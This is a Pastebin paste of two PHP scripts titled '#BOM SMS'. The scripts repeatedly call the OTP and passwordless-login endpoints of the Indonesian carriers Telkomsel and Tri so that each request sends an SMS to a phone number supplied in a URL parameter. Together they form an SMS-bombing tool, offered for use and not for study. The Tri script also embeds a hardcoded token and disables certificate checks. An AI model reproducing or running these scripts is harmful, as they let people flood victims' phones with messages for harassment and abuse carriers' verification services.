HenryGlazt

#BOM SMS

Nov 25th, 2017
568
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.21 KB | None | 0 0
  1. // ---- tsel ---- //
  2.  
  3. <?php
  4. $no = $_GET['hp'];
  5. function telkbomb($no, $jum, $wait){
  6.     $x = 0;
  7.     while($x < $jum) {
  8.         $ch = curl_init();
  9.         curl_setopt($ch, CURLOPT_URL,"https://tdwidm.telkomsel.com/passwordless/start");
  10.         curl_setopt($ch, CURLOPT_POST, 1);
  11.         curl_setopt($ch, CURLOPT_POSTFIELDS,"phone_number=%2B".$no."&connection=sms");
  12.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  13.         curl_setopt($ch, CURLOPT_REFERER, 'https://my.telkomsel.com/');
  14.         curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
  15.         $server_output = curl_exec ($ch);
  16.         curl_close ($ch);
  17.         echo $server_output."<br>";
  18.         sleep($wait);
  19.         $x++;
  20.     }
  21. }
  22. $execute = telkbomb($no, '1', '0');
  23. print $execute;
  24.  
  25. ?>
  26.  
  27.  
  28.  
  29. // --- tri --- ///
  30. <?php
  31. $no = $_GET['hp'];
  32. function threebomb($no, $jum, $wait = 0){
  33.     $x = 1;
  34.     $result = "";
  35.     while($x <= $jum) {
  36.         $ch = curl_init();
  37.         curl_setopt($ch, CURLOPT_URL,"https://registrasi.tri.co.id/ulang/generateOTP");
  38.         curl_setopt($ch, CURLOPT_POST, 1);
  39.         curl_setopt($ch, CURLOPT_POSTFIELDS,"token=dci0aC3VF9F4pEwKSWtGtNT5UY3wqOlE&msisdn=".$no);
  40.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  41.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  42.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  43.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  44.         curl_setopt($ch, CURLOPT_REFERER, 'https://registrasi.tri.co.id/ulang');
  45.         curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
  46.         $server_output = curl_exec ($ch);
  47.         curl_close ($ch);
  48.         $json = json_decode($server_output);
  49.         if($json->code == "200" && $json->status == "success"){
  50.             $result .= $x.". Success send sms to ".$json->MSISDN." ✔<br>";
  51.         } else {
  52.             $result .= "✘ FAIL<br>";
  53.         }
  54.         if($wait != 0){
  55.             sleep($wait);
  56.         }
  57.         $x++;
  58.     }
  59.     return($result);
  60. }
  61. $execute = threebomb($no, '2');
  62. print $execute;
  63. ?>
Advertisement
Add Comment
Please, Sign In to add comment